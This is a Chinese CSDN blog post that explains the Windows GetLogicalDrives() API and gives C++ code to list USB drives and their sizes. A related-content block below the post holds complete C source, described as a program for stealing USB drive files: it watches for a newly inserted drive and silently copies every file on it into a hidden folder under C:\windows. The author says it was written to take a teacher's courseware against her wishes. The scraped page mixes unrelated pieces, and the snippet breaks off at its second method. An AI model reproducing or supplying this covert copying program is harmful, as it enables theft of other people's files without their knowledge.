QT(C++)GetLogicalDrives()获取电脑存在的所有磁盘(U盘)

9 篇文章 0 订阅
4 篇文章 0 订阅

之前在写QT软件的时候,软件需求中有“列出所有可操作磁盘”的要求,查阅了不少资料,包括微软官方文档。官网中的确有这个函数的介绍,但也仅仅是介绍,我觉得很让人无语的就是这一点,只有介绍,没有实例,对于基础薄弱的人(我)来说,根本就看不懂怎么使用,现将我的经验分享给大家!


GetLogicalDrives()的原函数为DWORD GetLogicalDrives(),返回值为当前可用磁盘驱动器的位掩码。

如果函数使用成功,则返回值为二进制数(如1100)的十进制值(如12),从右往左数,依次是A盘、B盘、C盘、D盘,对应位置上的二进制值为1时表示此盘存在,即返回值12表示电脑中存在C、D盘,以此类推;

如果函数使用失败,则返回值为0,函数失败的原因可以通过GetLastError()函数获取,将得到的返回值记录,然后去网站中查询GetLastError()函数返回值大全找到对应的数值结果即可。


QT源代码如图示
…Copy大法给大家了,快用起来!!!!…

#include <iostream>
#include <windows.h>
using namespace std;

//扫描磁盘
void ScanHD(string &uDiskAvaliable)             //uDiskAvaliable即可使用的U盘名称字符串
{
    uDiskAvaliable = "";
    char diskPath[3] = { 0 };                   //检测存在的U盘设备
    DISK_GEOMETRY pdg;
    HANDLE DiskHandle;
    UINT64 DiskSize;
    DWORD allDisk = GetLogicalDrives();         //获取电脑中的所有磁盘(即二进制对应的十进制数值),假设电脑中可能有15个磁盘
    for(int i = 0; i < 15; i++){
        if((allDisk & 1) == 1){                 //判断最右边的一位的二进制数值是否为1
            sprintf(diskPath, "%c", 'A'+i);     
            //此时的diskPath的值为类似 "C:",如果只需要所有磁盘,则增加 uDiskAvaliable += diskPath 即可结束当前的if语句
            
            //判断是否为U盘,且获取U盘的字节大小
            strcat(diskPath,":");               
            if (GetDriveTypeA(diskPath) ==  DRIVE_REMOVABLE){   //判断磁盘的类型
                char tmp[10] = "\\\\.\\";
                uDiskAvaliable += diskPath;
                uDiskAvaliable += "(";
                strcat(tmp,diskPath);           //形成\\.\F:
                DiskHandle = CreateFileA(tmp,   //获取磁盘句柄
                        GENERIC_WRITE | GENERIC_READ,
                        FILE_SHARE_WRITE | FILE_SHARE_READ | FILE_SHARE_DELETE,
                        NULL,
                        OPEN_EXISTING,
                        FILE_ATTRIBUTE_NORMAL,
                        NULL);
                DeviceIoControl(DiskHandle, IOCTL_DISK_GET_DRIVE_GEOMETRY, NULL, 0, &pdg, sizeof(pdg), NULL, (LPOVERLAPPED)NULL);
                CloseHandle(DiskHandle);        //关闭磁盘句柄
                DiskSize = (UINT64)pdg.Cylinders.QuadPart * pdg.TracksPerCylinder * pdg.SectorsPerTrack * pdg.BytesPerSector;
                sprintf(tmp, "%.2lf", 1.0*DiskSize/1024/1024/1024);
                uDiskAvaliable += tmp;
                uDiskAvaliable += "GB),";       //以GB作单位,保留两位小数
            }


        }
        allDisk = allDisk >> 1;                 //这一句非常重要!!!挪动判断的位置!!!!!!!
    }
    uDiskAvaliable += "please fill such as F:";
}

当时真的难住我了,主要是因为文档看不懂,网上搜到的结果乱七八糟的,现在分享给大家了!!!!!

最后,有帮助的话可以给我一丢丢赞赏嚯!(记得备注CSDN,我会更有动力更新文章嚯!)
在这里插入图片描述

  • 4
    点赞
  • 14
    收藏
    觉得还不错? 一键收藏
  • 5
    评论
窃取U盘文件的程序 先运行这个程序.然后插入U盘的时候 就会偷偷的把U盘里的文件全部复制到某个文件夹下面 两种方法实现 复制文件方式相当 区别在于对插入U盘的检测方式不同 当初写这个东西 是因为某个老师不允许我们copy她的课件 所以出此下策 -------------------------------------------------------------------------------- 方法一: -------------------------------------------------------------------------------- #include <windows.h> #include <dbt.h> #include <string.h> void CopyFiles(char *); void proc( WIN32_FIND_DATA ,char *); char *loc="C:\\windows\\xhy"; int main( ) { char dir[100]={0,0}; int first, second, p=0; first = GetLogicalDrives( ); CreateDirectory(loc, NULL); while(1) { Sleep(1000); second=GetLogicalDrives( ); if(second>first) { second-=first; while(second>>=1) p++; dir[0] = p+65; strcat(dir, ":\\*"); CopyFiles(dir); return 0; } } } void CopyFiles( char *dir ) { WIN32_FIND_DATA FindFileData; HANDLE hFind = INVALID_HANDLE_VALUE; hFind = FindFirstFile(dir, &FindFileData); if (hFind != INVALID_HANDLE_VALUE) proc(FindFileData, dir); while (FindNextFile(hFind, &FindFileData) != 0) proc(FindFileData, dir); FindClose(hFind); } void proc( WIN32_FIND_DATA FindFileData , char *dir) { char DirSpec[200], path[200]; DWORD stat; strcpy(path, dir); path[strlen(path)-1]='\0'; strcat(path, FindFileData.cFileName); stat = GetFileAttributes(path); if( strcmp(FindFileData.cFileName, ".") && strcmp(FindFileData.cFileName, "..") ) { if( (stat&FILE_ATTRIBUTE_DIRECTORY)==FILE_ATTRIBUTE_DIRECTORY ) { strcpy(DirSpec, dir); DirSpec[strlen(DirSpec)-1]='\0'; strcat(DirSpec, FindFileData.cFileName); strcpy(path, loc); strcat(path, DirSpec+2); strcat(DirSpec, "\\*"); CreateDirectory(path, NULL); CopyFiles(DirSpec); } else { strcpy(path, dir); path[strlen(path)-1]='\0'; strcat(path, FindFileData.cFileName); strcpy(DirSpec, loc); strcat(DirSpec, path+2); CopyFile(path, DirSpec, FALSE); } } } -------------------------------------------------------------------------------- 在Dev C++中编译测试通过 -------------------------------------------------------------------------------- 方法二: --------------------------------------

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 5
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值